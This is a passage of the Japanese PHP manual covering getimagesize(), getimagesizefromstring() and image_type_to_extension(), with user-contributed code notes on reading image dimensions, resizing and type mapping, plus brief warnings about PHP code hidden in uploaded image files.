  • imagetypes() - この PHP がサポートしている画像形式を返す

User Contributed Notes

There are no user contributed notes for this page.


画像の大きさを取得する

  • ≪ gd_info
  • getimagesizefromstring ≫
  • PHP Manual
  • GD および Image 関数
  • 画像の大きさを取得する

getimagesize

(PHP 4, PHP 5, PHP 7, PHP 8)

getimagesize — 画像の大きさを取得する

説明

getimagesize ( string $filename , array &$image_info = null ) : array|false

getimagesize() 関数は、サポートする任意の形式の画像ファイルの大きさを決定し、 ファイルの型と高さ/幅を表す文字列を返します。これらは HTML の IMG タグや HTTP の content type として使用できます。

警告

この関数は、filename が適切な画像ファイルであることを想定しています。 画像以外のファイルを渡してもそれを画像だと判断してしまい、関数の処理は成功するでしょう。 しかし、配列には意味のない値が含まれる場合があります。

getimagesize() を使って、そのファイルが画像であるかどうかを確かめることはできません。 そのようなことをしたい場合は、そのために用意されたソリューション (Fileinfo 拡張モジュールなど) を使いましょう。

getimagesize() は、 image_info パラメータで追加情報を返します。

注意: JPC と JP2 は異なるビット深度のコンポーネントを含むことが可能なことに 注意してください。この場合 "bits" に対する値は、 最も大きい深度になります。また、JP2 ファイルは 複数の JPEG 2000 コードストリームを含む場合があります。この場合、 getimagesize() はファイルのルートから 最初に遭遇するコードストリームに対する値を返します。

注意: アイコンに関する情報は、ビットレートが最大のアイコンから取得します。

注意: GIF 画像はひとつ以上のフレームからなります。 個々のフレームは画像の一部のみを占めます。 getimagesize() が報告する画像のサイズは、 (logical screen descriptor から読み込まれた) 全部のサイズです。

パラメータ

filename

このパラメータは、情報を取得したいファイルの名前を指定します。 ローカルファイルへの参照、あるいは (設定で許可されているなら) ストリームを用いたリモートファイルへの参照を指定できます。

image_info

オプションのパラメータで、 画像ファイルから何らかの拡張情報を引き出すことが可能です。 現在、この変数にはJPGファイルについて 異なった複数のAPPマーカーが連想配列として返されます。いくつかのプログラムは、 これらのAPPマーカーを画像の中の埋込テキストの情報として使用します。 最も一般的な例は、マーカーAPPl3に埋込IPTC » http://www.iptc.org/情報が返されることです。 バイナリ形式のマーカーAPP13を読むことができるよう処理するために iptcparse() 関数を使用することができます。

注意:

image_info は、 JFIF ファイルのみをサポートします。

返り値

最大 7 つの要素からなる配列を返します。画像の形式によっては、 channels や bits は含まれないことがあります。

0 番目および 1 番目の要素は、それぞれ画像の幅と高さを表します。

注意:

形式によっては、画像を含まないものや複数の画像を含むものがあります。 これらの場合、getimagesize() は画像のサイズを適切に決定することができません。このような場合、 getimagesize() が返す幅と高さはいずれもゼロとなります。

2 番目の要素は IMAGETYPE_XXX constants 定数のひとつで、 画像の形式を表します。

3 番目の要素は IMG タグで直接利用できる文字列 height="yyy" width="xxx" です。

mimeは画像のMIMEタイプに一致します。この情報は 画像とともに正しい HTTP Content-type ヘッダを転送するために使用できます。

例1 getimagesize() および MIME 型

<?php
$size = getimagesize($filename);
$fp = fopen($filename, "rb");
if ($size && $fp) {
    header("Content-type: {$size['mime']}");
    fpassthru($fp);
    exit;
} else {
    // エラー
}
?>

channels は RGB 画像の場合に 3、CMYK 画像の場合に 4 です。

bits は個々の色のビット数です。

画像の形式によっては、channels や bits の値の存在は混乱の元です。 たとえば、GIF は常に 1 ピクセルあたり 3 チャンネルを使用しますが、グローバルカラーテーブルを使ったアニメーション GIF のピクセルあたりのビット数を計算することはできません。

失敗した場合には false を返します。

エラー / 例外

もし filename のイメージにアクセスできない場合、 getimagesize() は false を返し、E_WARNING レベルのエラーを発生させます。 読み込み時にエラーが発生した場合は、 getimagesize() は E_NOTICE レベルのエラーを発生させます。

変更履歴

バージョン | 説明
7.1.0 | WebP に対応しました。

例

例2 getimagesize() の例

<?php
list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
echo "<img src=\"img/flag.jpg\" $attr alt=\"getimagesize() example\" />";
?>

例3 getimagesize (URL)

<?php
$size = getimagesize("http://www.example.com/gifs/logo.gif");

// ファイル名にスペースが含まれる場合は適切にエンコードしてください
$size = getimagesize("http://www.example.com/gifs/lo%20go.gif");

?>

例4 IPTC を返す getimagesize()

<?php
$size = getimagesize("testimg.jpg", $info);
if (isset($info["APP13"])) {
    $iptc = iptcparse($info["APP13"]);
    var_dump($iptc);
}
?>

注意

注意:

この関数は、GD 画像ライブラリを必要としません。

参考

  • image_type_to_mime_type() - getimagesize, exif_read_data, exif_thumbnail, exif_imagetypeから返される 画像形式のMIMEタイプを取得する
  • exif_imagetype() - イメージの型を定義する
  • exif_read_data() - 画像ファイルから EXIF ヘッダを読み込む
  • exif_thumbnail() - 画像に埋め込まれたサムネイルを取得する
  • imagesx() - 画像の幅を取得する
  • imagesy() - 画像の高さを取得する

User Contributed Notes

nikolam3244 at gmail dot com 12-Dec-2017 07:24
There's a code snippet for getting JPEG image dimensions by getting only first few bytes of the file, but it doesn't work for PNG files, so I wrote one. It will download only the first 24 bytes instead of the whole image, and thus being much faster than getimagesize() and it will save bandwidth at the same time:

<?php
// Retrieve PNG width and height without downloading/reading entire image.
function getpngsize( $img_loc ) {
    $handle = fopen( $img_loc, "rb" ) or die( "Invalid file stream." );

    if ( ! feof( $handle ) ) {
        $new_block = fread( $handle, 24 );
        if ( $new_block[0] == "\x89" &&
            $new_block[1] == "\x50" &&
            $new_block[2] == "\x4E" &&
            $new_block[3] == "\x47" &&
            $new_block[4] == "\x0D" &&
            $new_block[5] == "\x0A" &&
            $new_block[6] == "\x1A" &&
            $new_block[7] == "\x0A" ) {
                if ( $new_block[12] . $new_block[13] . $new_block[14] . $new_block[15] === "\x49\x48\x44\x52" ) {
                    $width  = unpack( 'H*', $new_block[16] . $new_block[17] . $new_block[18] . $new_block[19] );
                    $width  = hexdec( $width[1] );
                    $height = unpack( 'H*', $new_block[20] . $new_block[21] . $new_block[22] . $new_block[23] );
                    $height  = hexdec( $height[1] );

                    return array( $width, $height );
                }
            }
        }

    return false;
}
?>
freecorvette at gmail dot com 03-Oct-2017 08:03
For some images, using getimagesize() without the second parameter will return the correct info, but when you add the second parameter it will return false. This is most likely a bug (and it has been reported as such), but meanwhile, if you encounter this problem, a workaround is to use exif_read_data().
simon dot waters at surevine dot com 30-Mar-2015 09:01
Note: getimage size doesn't attempt to validate image file formats

It is possible for malformed GIF images to contain PHP and still have valid dimensions.

Programmers need to ensure such images are validated by other tools, or never treated as PHP or other executable types (enforcing appropriate extensions, avoiding user controlled renaming, restricting uploaded images to areas of the website where PHP is not enabled).

http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/
kazuya 11-Mar-2014 02:19
i made function img_resize($path,$tmp_name,$new_name,$new_width)
this could be useful.

<?php

$new_file = img_resize("./img/", "test.jpg","copy_test.jpg",300);
echo "<IMG src = '$new_file'>";

function img_resize($path,$tmp_name,$new_name,$new_width){
    if (!file_exists($path.$filename)){
        echo "file not found!";
        exit;
    }
    if (!is_writable($path)){
        echo "error:permission denied!";
        exit;
    }
    list($width, $height) = getimagesize($path . $tmp_name);
    $new_height = abs($new_width * $height / $width);
    $image_p = imagecreatetruecolor($new_width, $new_height);
    $image = imagecreatefromjpeg($path . $tmp_name);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                        $new_width, $new_height, $width, $height);
    imagejpeg($image_p, $path . $new_name);
    return $path.$new_name;
}

?>
tomasz at trejderowski dot pl 06-Sep-2013 09:47
If you want to "convert" value returned by "getimagesize()" as index "2" into something more human-readable, you may consider using a function like this one:

    $imageTypeArray = array
    (
        0=>'UNKNOWN',
        1=>'GIF',
        2=>'JPEG',
        3=>'PNG',
        4=>'SWF',
        5=>'PSD',
        6=>'BMP',
        7=>'TIFF_II',
        8=>'TIFF_MM',
        9=>'JPC',
        10=>'JP2',
        11=>'JPX',
        12=>'JB2',
        13=>'SWC',
        14=>'IFF',
        15=>'WBMP',
        16=>'XBM',
        17=>'ICO',
        18=>'COUNT'
    );

    $size = getimagesize($filename);

    $size[2] = $imageTypeArray[$size[2]];

Or something similar.
alexyam at live dot com 15-Feb-2012 11:30
I wanted to use getimagesize() on .SWF files stored in the database as blob data and couldn't find a simple solution, so I created my own.

I am releasing this code under the MIT license to save everyone some time:

<?php
/*
    ----------------------------------------------------------------------
    PHP Blob Data As File Stream v1.0 (C) 2012 Alex Yam <alexyam@live.com>
    This code is released under the MIT License.
    ----------------------------------------------------------------------
    [Summary]

    A simple class for PHP functions to read and write blob data as a file
    using a stream wrapper.

    Particularly useful for running getimagesize() to get the width and
    height of .SWF Flash files that are stored in the database as blob data.

    Tested on PHP 5.3.10.

    ----------------------------------------------------------------------
    [Usage Example]

    //Include
        include('./blob_data_as_file_stream.php');

    //Register the stream wrapper
        stream_wrapper_register("BlobDataAsFileStream", "blob_data_as_file_stream");

    //Fetch a .SWF file from the Adobe website and store it into a variable.
    //Replace this with your own fetch-swf-blob-data-from-database code.
        $swf_url = 'http://www.adobe.com/swf/software/flash/about/flashAbout_info_small.swf';
        $swf_blob_data = file_get_contents($swf_url);

    //Store $swf_blob_data to the data stream
        blob_data_as_file_stream::$blob_data_stream = $swf_blob_data;

    //Run getimagesize() on the data stream
        $swf_info = getimagesize('BlobDataAsFileStream://');
        var_dump($swf_info);

    ----------------------------------------------------------------------
    [Usage Output]

    array(5) {
      [0]=>
      int(159)
      [1]=>
      int(91)
      [2]=>
      int(13)
      [3]=>
      string(23) "width="159" height="91""
      ["mime"]=>
      string(29) "application/x-shockwave-flash"
    }

*/

class blob_data_as_file_stream {

    private static $blob_data_position = 0;
    public static $blob_data_stream = '';

    public static function stream_open($path,$mode,$options,&$opened_path){
        static::$blob_data_position = 0;
        return true;
    }

    public static function stream_seek($seek_offset,$seek_whence){
        $blob_data_length = strlen(static::$blob_data_stream);
        switch ($seek_whence) {
            case SEEK_SET:
                $new_blob_data_position = $seek_offset;
                break;
            case SEEK_CUR:
                $new_blob_data_position = static::$blob_data_position+$seek_offset;
                break;
            case SEEK_END:
                $new_blob_data_position = $blob_data_length+$seek_offset;
                break;
            default:
                return false;
        }
        if (($new_blob_data_position >= 0) AND ($new_blob_data_position <= $blob_data_length)){
            static::$blob_data_position = $new_blob_data_position;
            return true;
        }else{
            return false;
        }
    }

    public static function stream_tell(){
        return static::$blob_data_position;
    }

    public static function stream_read($read_buffer_size){
        $read_data = substr(static::$blob_data_stream,static::$blob_data_position,$read_buffer_size);
        static::$blob_data_position += strlen($read_data);
        return $read_data;
    }

    public static function stream_write($write_data){
        $write_data_length=strlen($write_data);
        static::$blob_data_stream = substr(static::$blob_data_stream,0,static::$blob_data_position).
            $write_data.substr(static::$blob_data_stream,static::$blob_data_position+=$write_data_length);
        return $write_data_length;
    }

    public static function stream_eof(){
        return static::$blob_data_position >= strlen(static::$blob_data_stream);
    }

}
?>
utilmind 23-Jul-2011 03:17
Here is the function which determines whether the PNG image contains alpha or not:

<?php
function is_alpha_png($fn){
  return (ord(@file_get_contents($fn, NULL, NULL, 25, 1)) == 6);
}
?>

The color type of PNG image is stored at byte offset 25. Possible values of that 25'th byte is:
 * 0 - greyscale
 * 2 - RGB
 * 3 - RGB with palette
 * 4 - greyscale + alpha
 * 6 - RGB + alpha
Steve 17-Apr-2011 03:12
The list of defined IMAGETYPE_ constants is on the manual page for exif_imagetype:

http://www.php.net/manual/en/function.exif-imagetype.php
Jesus Zamora 13-Feb-2011 06:20
Returns a array with 4 elements.
The 0 index is the width of the image in pixels.
The 1 index is the height of the image in pixels.
The 2 index is a flag for the image type:

1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(orden de bytes intel), 8 = TIFF(orden de bytes motorola), 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC, 14 = IFF, 15 = WBMP, 16 = XBM.

The 3 index contains ' height="yyy" width="xxx" '
geoff at spacevs dot com 20-Oct-2009 11:22
This function returns the width and height of a JPEG image from a string, allowing the dimensions of images stored in a database to be retrieved without writing them to the disk first, or using "imagecreatefromstring" which is very slow in comparison.

<?PHP
function getJPEGImageXY($data) {
        $soi = unpack('nmagic/nmarker', $data);
        if ($soi['magic'] != 0xFFD8) return false;
        $marker = $soi['marker'];
        $data   = substr($data, 4);
        $done   = false;

        while(1) {
                if (strlen($data) === 0) return false;
                switch($marker) {
                        case 0xFFC0:
                                $info = unpack('nlength/Cprecision/nY/nX', $data);
                                return array($info['X'], $info['Y']);
                                break;

                        default:
                                $info   = unpack('nlength', $data);
                                $data   = substr($data, $info['length']);
                                $info   = unpack('nmarker', $data);
                                $marker = $info['marker'];
                                $data   = substr($data, 2);
                                break;
                }
        }
}
?>

Doing this 10,000 times takes 0.43 seconds, compared with using imagecreatefromstring/imagesx/imagesy which takes around 1.52 seconds to do the same.

Do not use this instead of getimagesize when dealing with files, getimagesize is much faster coming in at 0.15 seconds.
james dot relyea at zifiniti dot com 07-Feb-2009 08:49
As noted below, getimagesize will download the entire image before it checks for the requested information. This is extremely slow on large images that are accessed remotely. Since the width/height is in the first few bytes of the file, there is no need to download the entire file. I wrote a function to get the size of a JPEG by streaming bytes until the proper data is found to report the width and height:

<?php
// Retrieve JPEG width and height without downloading/reading entire image.
function getjpegsize($img_loc) {
    $handle = fopen($img_loc, "rb") or die("Invalid file stream.");
    $new_block = NULL;
    if(!feof($handle)) {
        $new_block = fread($handle, 32);
        $i = 0;
        if($new_block[$i]=="\xFF" && $new_block[$i+1]=="\xD8" && $new_block[$i+2]=="\xFF" && $new_block[$i+3]=="\xE0") {
            $i += 4;
            if($new_block[$i+2]=="\x4A" && $new_block[$i+3]=="\x46" && $new_block[$i+4]=="\x49" && $new_block[$i+5]=="\x46" && $new_block[$i+6]=="\x00") {
                // Read block size and skip ahead to begin cycling through blocks in search of SOF marker
                $block_size = unpack("H*", $new_block[$i] . $new_block[$i+1]);
                $block_size = hexdec($block_size[1]);
                while(!feof($handle)) {
                    $i += $block_size;
                    $new_block .= fread($handle, $block_size);
                    if($new_block[$i]=="\xFF") {
                        // New block detected, check for SOF marker
                        $sof_marker = array("\xC0", "\xC1", "\xC2", "\xC3", "\xC5", "\xC6", "\xC7", "\xC8", "\xC9", "\xCA", "\xCB", "\xCD", "\xCE", "\xCF");
                        if(in_array($new_block[$i+1], $sof_marker)) {
                            // SOF marker detected. Width and height information is contained in bytes 4-7 after this byte.
                            $size_data = $new_block[$i+2] . $new_block[$i+3] . $new_block[$i+4] . $new_block[$i+5] . $new_block[$i+6] . $new_block[$i+7] . $new_block[$i+8];
                            $unpacked = unpack("H*", $size_data);
                            $unpacked = $unpacked[1];
                            $height = hexdec($unpacked[6] . $unpacked[7] . $unpacked[8] . $unpacked[9]);
                            $width = hexdec($unpacked[10] . $unpacked[11] . $unpacked[12] . $unpacked[13]);
                            return array($width, $height);
                        } else {
                            // Skip block marker and read block size
                            $i += 2;
                            $block_size = unpack("H*", $new_block[$i] . $new_block[$i+1]);
                            $block_size = hexdec($block_size[1]);
                        }
                    } else {
                        return FALSE;
                    }
                }
            }
        }
    }
    return FALSE;
}
?>
anonymous 23-Nov-2008 08:30
Note that if you specify a remote file (via a URL) to check the size of, PHP will first download the remote file to your server.

If you're using this function to check the size of user provided image links, this could constitute a security risk.  A malicious user could potentially link to a very large image file and cause PHP to download it.  I do not know what, if any, file size limits are in place for the download.  But suppose the user provided a link to an image that was several gigabytes in size?

It would be nice if there were a way to limit the size of the download performed by this function.  Hopefully there is already a default with some sensible limits.
user at example dot net 23-Jul-2008 09:13
When validating images, allways check both, image type *AND* file extension!

Because most image types allow sections for comments or other irrelevant data. Those section can be used to infiltrate php code onto the server. If these files are stored as sent by the client, files with a ".php" extension can be executed and do tremendous harm.
info at alex-lawrence dot com 02-Apr-2008 05:17
Could be useful (didn´t know where to post it):

function getImageErrors( $filename, $type = "", $minWidth = 0, $minHeight = 0, $maxWidth = 0, $maxHeight = 0, $maxFileSize = 0 )
{
    $errors = array();
    if ( file_exists( $filename ) )
    {
        $ending = substr( $filename, strpos( $filename, "." ) );
        if ( is_array( $type ) )
        {
            $isTypeOf = false;
            foreach( $type as $eachtype )
            {
                if ( $ending == $eachtype )
                {
                    $isTypeOf = true;
                }
            }
            if ( ! $isTypeOf )
            {
                $errors[ 'type' ] = $ending;
            }
        }
        elseif ( $type != "" )
        {
            if ( $ending != $type )
            {
                $errors[ 'type' ] = $ending;
            }
        }
        $size = getimagesize( $filename );
        if ( $size[ 0 ] < $minWidth )
        {
            $errors[ 'minWidth' ] = $size[ 0 ];
        }
        if ( $size[ 1 ] < $minHeight )
        {
            $errors[ 'minHeight' ] = $size[ 1 ];
        }
        if ( ( $maxWidth > $minWidth ) && ( $size[ 0 ] > $maxWidth ) )
        {
            $errors[ 'maxWidth' ] = $size[ 0 ];
        }
        if ( ( $maxHeight > $minHeight ) && ( $size[ 1 ] > $maxHeight ) )
        {
            $errors[ 'maxHeight' ] = $size[ 1 ];
        }
        if ( ( $maxFileSize > 0 ) && ( filesize( $filename ) > $maxFileSize ) )
        {
            $errors[ 'maxFileSize' ] = filesize( $filename );
        }
    }
    else
    {
        $errors[ 'filename' ] = "not existing";
    }
    return ( count( $errors ) > 0 ? $errors : null );
}
cloned at clonedmadman dot com 25-Feb-2008 02:01
Well, I am making a script which will resize the image when uploaded, however, i am making a multi-uploader, so i came across with a problem: an efficient way of getting a pictures height and width and storing them in an array to resize later. This is what i came up with:

<?php
$links = array("test1.jpg", "test2.png");
$sizearray = array();
$count = count($links);
for($i = 0; $i < $count; $i++) {
    $size = getimagesize($links[$i]);
    list($width, $height) = $size;
    $sizearray[$links[$i]] = array("width" => $width, "height" => $height);
}
print_r($sizearray);
// which will print out: Array ( [test1.jpg] => Array ( [width] => 300 [height] => 400 ) [test2.png] => Array ( [width] => 680 [height] => 100 ) )
?>
shmohel at gmail dot com 12-Feb-2008 06:27
Rather than making a lengthy function that essentially runs twice (once as width, once as height) I came up with a helpful function that uses variable variables to set a maximum height/width. Hope someone finds this helpful.

function scaleimage($location, $maxw=NULL, $maxh=NULL){
    $img = @getimagesize($location);
    if($img){
        $w = $img[0];
        $h = $img[1];

        $dim = array('w','h');
        foreach($dim AS $val){
            $max = "max{$val}";
            if(${$val} > ${$max} && ${$max}){
                $alt = ($val == 'w') ? 'h' : 'w';
                $ratio = ${$alt} / ${$val};
                ${$val} = ${$max};
                ${$alt} = ${$val} * $ratio;
            }
        }

        return("<img src='{$location}' alt='image' width='{$w}' height='{$h}' />");
    }
}
pfarthing at hotmail dot com 10-Jan-2008 03:35
Correction: to find $y2 it should be...

// set y side to a proportional size
$y2 = $m * $x_max; // not $x1

Thanks Norbert =)
info at personalmis dot com 07-Jan-2008 04:42
Seems the various ways people are trying to proportionaly scale an image, up or down, could be more straight forward if one remembers ones algebra.

The formula is, y = mx, where m is the slope of the line. This is the ratio of y:x or m = y/x.

So if...

// max values for x and y
$y_max = 600;
$x_max = 800;

// image size
$y1 = 2000;
$x1 = 3000;

// use width for scaling
if ($x1 > $x_max)
{
    // find slope
    $m = $y1/$x1;
    // set x side to max
    $x2 = $x_max;
    // set y side to a proportional size
    $y2 = $m * $x1;
}

The new image proportionally scaled will be x2 = 800, y2 = 533 (rounded).

To do it from the y side, simply reverse the x's and y's.
redcore at gmail dot com 09-Aug-2007 02:50
It's always good to check out an image's dimensions while attempting to upload to your server or database...especially if it's going to be displayed on a page that doesn't accomodate images beyond a particular size.

<?php

$tmpName = $_FILES['userfile']['tmp_name'];

list($width, $height, $type, $attr) = getimagesize($tmpName);

if($width>275 || $height>275)
{
die("exceeded image dimension limits.");
}

?>
ajreading at classixshop dot com 21-Apr-2005 01:30
A simple piece of code i wrote to proportionally resize an image to a max height and width then display it

<?php
// Max height and width
$max_width = 100;
$max_height = 100;

// Path to your jpeg

$upfile '/path/to/file.jpg';
    Header("Content-type: image/jpeg");

    $size = GetImageSize($upfile); // Read the size
          $width = $size[0];
          $height = $size[1];

          // Proportionally resize the image to the
          // max sizes specified above

          $x_ratio = $max_width / $width;
          $y_ratio = $max_height / $height;

          if( ($width <= $max_width) && ($height <= $max_height) )
          {
               $tn_width = $width;
               $tn_height = $height;
          }
          elseif (($x_ratio * $height) < $max_height)
          {
               $tn_height = ceil($x_ratio * $height);
               $tn_width = $max_width;
          }
          else
          {
               $tn_width = ceil($y_ratio * $width);
               $tn_height = $max_height;
          }
     // Increase memory limit to support larger files

     ini_set('memory_limit', '32M');

     // Create the new image!
     $src = ImageCreateFromJpeg($upfile);
     $dst = ImageCreateTrueColor($tn_width, $tn_height);
     ImageCopyResized($dst, $src, 0, 0, 0, 0, $tn_width, $tn_height, $width, $height);
     ImageJpeg($dst);
// Destroy the images
ImageDestroy($src);
ImageDestroy($dst);
?>
mail at soylentgreens dot com 30-Mar-2005 06:37
How about this for cropping images...

<?php

$imgfile = "img.jpg";
$cropStartX = 300;
$cropStartY = 250;
$cropW   = 200;
$cropH   = 200;

// Create two images
$origimg = imagecreatefromjpeg($imgfile);
$cropimg = imagecreatetruecolor($cropW,$cropH);

// Get the original size
list($width, $height) = getimagesize($imgfile);

// Crop
imagecopyresized($cropimg, $origimg, 0, 0, $cropStartX, $cropStartY, $width, $height, $width, $height);

// TODO: write code to save new image
// or, just display it like this:
header("Content-type: image/jpeg");
imagejpeg($cropimg);

// destroy the images
imagedestroy($cropimg);
imagedestroy($origimg);

?>
Coodiss at w3bbix dot net 15-Mar-2005 09:51
Heres a easy way to scale images to the <td> that they are in
*this is broken up so anyone can understand it :)

<?
$imageinfo = getimagesize("images/picture.jpg");

$ix=$imageinfo[0];
$iy=$imageinfo[1];

$widthscale = $ix/175;  //<TD> WIDTH
$heightscale = $iy/175; //<TD> HEIGHT

if($widthscale < 1)
$nwidth = $ix*$widthscale;
else
$nwidth = $ix/$widthscale;

if($heightscale < 1)
$nheight = $iy*$heightscale;
else
$nheight = $iy/$heightscale;

?>
php dot net at dannysauer dot com 12-Feb-2005 08:23
Note that, if you're going to be a good programmer and use named constatnts (IMAGETYPE_JPEG) rather than their values (2), you want to use the IMAGETYPE variants - IMAGETYPE_JPEG, IMAGETYPE GIF, IMAGETYPE_PNG, etc.  For some reason, somebody made a horrible decision, and IMG_PNG is actually 4 in my version of PHP, while IMAGETYPE_PNG is 3.  It took me a while to figure out why comparing the type against IMG_PNG was failing...
diablx at hotmail dot com 25-May-2004 02:36
I'm sorry for they other scripts, but I made one mistake about the image resizing... here is a working script !
<?
    // Some configuration variables !
    $maxWidth = 90;
    $maxHeight = 90;
    $maxCols = 8;
    $webDir = "https://localhost/images/";
    $localDir = $_SERVER['DOCUMENT_ROOT']."/images/";

    $AutorisedImageType = array ("jpg", "jpeg", "gif", "png");
?>

<center>
<table border='1' cellspacing='5' cellpadding='5' style="border-collapse:collapse; border-style: dotted">
<tr>
   <?
   // Open localDir
   $dh = opendir($localDir);
   while (false !== ($filename = readdir($dh))) {
       $filesArray[] = $filename;
   }

   // Display and resize
   foreach ($filesArray as $images) {

       $ext = substr($images, strpos($images, ".")+1, strlen($images));

       if( in_array($ext, $AutorisedImageType) ) {

           list($width, $height, $type, $attr) = @getimagesize( $localDir.$images );

            $xRatio = $maxWidth / $width;
            $yRatio = $maxHeight / $height;

            if ( ($width <= $maxWidth) && ($height <= $maxHeight) ) {
              $newWidth = $width;
              $newHeight = $height;
            }
            else if (($xRatio * $height) < $maxHeight) {
              $newHeight = ceil($xRatio * $height);
              $newWidth = $maxWidth;
            }
            else {
              $newWidth = ceil($yRatio * $width);
              $newHeight = $maxHeight;
            }

           if($i == $maxCols) {
               echo "</tr><tr>";
               $i = 0;
           }
           echo "<td align='center' valign='middle' width='$maxWidth' height='$maxHeight'><img src='".$webDir.$images."' width='$newWidth' height='$newHeight'></td>";
           $i++;
       }
   }
?>
</tr>
</table>
</center>


画像の大きさを文字列から取得する

  • ≪ getimagesize
  • image_type_to_extension ≫
  • PHP Manual
  • GD および Image 関数
  • 画像の大きさを文字列から取得する

getimagesizefromstring

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

getimagesizefromstring — 画像の大きさを文字列から取得する

説明

getimagesizefromstring ( string $string , array &$image_info = null ) : array|false

getimagesize() と似ていますが、 getimagesizefromstring() の最初のパラメータはファイル名ではなく文字列となります。

この関数の挙動の詳細については getimagesize() のドキュメントを参照ください。

パラメータ

string

文字列で表した画像データ。

image_info

getimagesize() を参照ください。

返り値

getimagesize() を参照ください。

例

例1 getimagesizefromstring() の例

<?php
$img = '/path/to/test.png';

// ファイルとして開く
$size_info1 = getimagesize($img);

// あるいは、文字列として開く
$data       = file_get_contents($img);
$size_info2 = getimagesizefromstring($data);
?>

参考

  • getimagesize() - 画像の大きさを取得する

User Contributed Notes

sarah at anigel dot net 10-Feb-2014 08:46
Just a quick comment on the solution by imageman for versions < 5.4 you will need to enable allow_url_fopen in order to use the data wrapper.
imageman 24-Dec-2013 07:10
getimagesizefromstring function for < 5.4

<?php
   if (!function_exists('getimagesizefromstring')) {
      function getimagesizefromstring($string_data)
      {
         $uri = 'data://application/octet-stream;base64,'  . base64_encode($string_data);
         return getimagesize($uri);
      }
}
?>


画像形式からファイルの拡張子を取得する

  • ≪ getimagesizefromstring
  • image_type_to_mime_type ≫
  • PHP Manual
  • GD および Image 関数
  • 画像形式からファイルの拡張子を取得する

image_type_to_extension

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

image_type_to_extension — 画像形式からファイルの拡張子を取得する

説明

image_type_to_extension ( int $image_type , bool $include_dot = true ) : string|false

指定した定数 IMAGETYPE_XXX に対応する拡張子を返します。

パラメータ

image_type

IMAGETYPE_XXX 定数のいずれかひとつ。

include_dot

拡張子の前にドットをつけるかどうか。デフォルトは true。

返り値

指定した型に対応する拡張子を文字列で返します。 失敗した場合に false を返します

例

例1 image_type_to_extension() の例

<?php
// 画像のインスタンスを作成します
$im = imagecreatetruecolor(100, 100);

// 画像を保存します
imagepng($im, './test' . image_type_to_extension(IMAGETYPE_PNG));
imagedestroy($im);
?>

注意

注意:

この関数は、GD 画像ライブラリを必要としません。

User Contributed Notes

bimal at sanjaal dot com 06-Feb-2012 10:06
<?php
/**
* Returns a COMMON extension with a dot
*/
function gd_extension($full_path_to_image='')
{
    $extension = 'null';
    if($image_type = exif_imagetype($full_path_to_image))
    {
        $extension = image_type_to_extension($image_type, false);
    }
    $known_replacements = array(
        'jpeg' => 'jpg',
        'tiff' => 'tif',
    );
    $extension = '.'.str_replace(array_keys($known_replacements), array_values($known_replacements), $extension);

    return $extension;
}

# Testing
$images = glob('*');
foreach($images as $i => $image)
{
    $extension = gd_extension($image);
    echo "\r\n", $image, ': ', $extension;
}
?>

Sometimes, the extension is not as I expected, until I wrote this piece.
mew at world dot org 07-Dec-2007 11:26
There is no need to over complicated folks.

<?php

if ( !function_exists('image_type_to_extension') ) {

    function image_type_to_extension ($type, $dot = true)
    {
        $e = array ( 1 => 'gif', 'jpeg', 'png', 'swf', 'psd', 'bmp'
            'tiff', 'tiff', 'jpc', 'jp2', 'jpf', 'jb2', 'swc',
            'aiff', 'wbmp', 'xbm');

        // We are expecting an integer.
        $type = (int)$type;
        if (!$type) {
            trigger_error( '...come up with an error here...', E_USER_NOTICE );
            return null;
        }

        if ( !isset($e[$type]) ) {
            trigger_error( '...come up with an error here...' E_USER_NOTICE );
            return null;
        }

        return ($dot ? '.' : '') . $e[$type];
    }

}

if ( !function_exists('image_type_to_mime_type') ) {

    function image_type_to_mime_type ($type)
    {
        $m = array ( 1 => 'image/gif', 'image/jpeg', 'image/png',
            'application/x-shockwave-flash', 'image/psd', 'image/bmp',
            'image/tiff', 'image/tiff', 'application/octet-stream',
            'image/jp2', 'application/octet-stream', 'application/octet-stream',
            'application/x-shockwave-flash', 'image/iff', 'image/vnd.wap.wbmp', 'image/xbm');

        // We are expecting an integer.
        $type = (int)$type;
        if (!$type) {
            trigger_error( '...come up with an error here...', E_USER_NOTICE );
            return null;
        }

        if ( !isset($m[$type]) ) {
            trigger_error( '...come up with an error here...' E_USER_NOTICE );
            return null;
        }

        return $m[$type];
    }

}

?>
Ian Paul Short chukdocsAtHotmailDotCom 28-Sep-2006 09:10
To: mail at spybreak dot de

I noted  your solution was for mime_type_to_extension which is flawed because the MIME types to extensions are not unique. See my example to consider what I have observed.

This function performs image type or mime type to extension. With limitation it will not attempt to handle duplicated MIME types. NOT DEFINITIVE!
<?php
    if(!function_exists('image_type_to_extension')){

        $extension;

        function image_type_or_mime_type_to_extension($image_type, $include_dot) {
            define ("INVALID_IMAGETYPE", '');

            $extension = INVALID_IMAGETYPE;            /// Default return value for invalid input

            $image_type_identifiers = array (                                                                ### These values correspond to the IMAGETYPE constants
                    array (IMAGETYPE_GIF         => 'gif',     "mime_type" => 'image/gif'),                        ###  1 = GIF
                    array (IMAGETYPE_JPEG        => 'jpg',     "mime_type" => 'image/jpeg'),                        ###  2 = JPG
                    array (IMAGETYPE_PNG        => 'png',     "mime_type" => 'image/png'),                        ###  3 = PNG
                    array (IMAGETYPE_SWF        => 'swf',     "mime_type" => 'application/x-shockwave-flash'),    ###  4 = SWF  // A. Duplicated MIME type
                    array (IMAGETYPE_PSD        => 'psd',     "mime_type" => 'image/psd'),                        ###  5 = PSD
                    array (IMAGETYPE_BMP        => 'bmp',     "mime_type" => 'image/bmp'),                        ###  6 = BMP
                    array (IMAGETYPE_TIFF_II    => 'tiff',     "mime_type" => 'image/tiff'),                        ###  7 = TIFF (intel byte order)
                    array (IMAGETYPE_TIFF_MM    => 'tiff',     "mime_type" => 'image/tiff'),                        ###  8 = TIFF (motorola byte order)
                    array (IMAGETYPE_JPC        => 'jpc',     "mime_type" => 'application/octet-stream'),            ###  9 = JPC  // B. Duplicated MIME type
                    array (IMAGETYPE_JP2        => 'jp2',     "mime_type" => 'image/jp2'),                        ### 10 = JP2
